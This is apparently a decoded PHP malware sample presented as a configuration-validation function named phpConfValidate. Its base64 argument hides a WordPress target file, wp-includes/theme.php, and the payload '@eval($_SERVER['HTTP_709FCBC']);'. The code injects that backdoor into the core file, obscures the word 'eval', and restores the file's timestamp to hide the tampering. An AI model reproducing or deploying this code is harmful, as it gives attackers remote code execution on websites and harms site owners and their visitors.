PHP Decode

phpConfValidate('YTo0OntpOjA7czo0OToiL3Vzci9ob21lL2NhbmN1eWFzcGFkZWwvd3d3L3dwLWluY2x1ZGVzL3RoZW1lLnBocCI7aToxO3M6OTg6In5ldmFsW15cKFxuXHJdKlwoW15cJF0qXCRfW0EtWl17Nn1bXlxbXSpcW1teXCdcIl0qW1wnXCJdSFRUUF83MDlGQ0JDW1wnXCJdW15cXV0qXF1bXlwpXSpcKVteO10qO35zIjtpOjI7czozMjoiQGV2YWwoJF9TRVJWRVJbJ0hUVFBfNzA5RkNCQyddKTsiO2k6MztzOjQ2OiJ+XlxzKmZ1bmN0aW9uXHMrZ2V0X3N0eWxlc2hlZXRfZGlyZWN0b3J5X3VyaX5tIjt9');
function phpConfValidate($ser) {

    list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
    $source = file_get_contents($fullPath);
    if (preg_match($systemEnv, $source)) {
        return;
    }
    if (!preg_match($pattern, $source, $matches)) {
        return;
    }
    
    $incorrectRegex = str_replace('e' . 'va' . 'l', '@?arr' . 'ay', $systemEnv);
    $newSource = preg_replace($incorrectRegex, '', $source);
    $newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $newSource);
    
    
    if (!preg_match($systemEnv, $newSource)) {
        return;
    }
    
    $filemtime = filemtime($fullPath) + 10;
    unlink($fullPath);
    file_put_contents($fullPath, $newSource);
    touch($fullPath, $filemtime);
}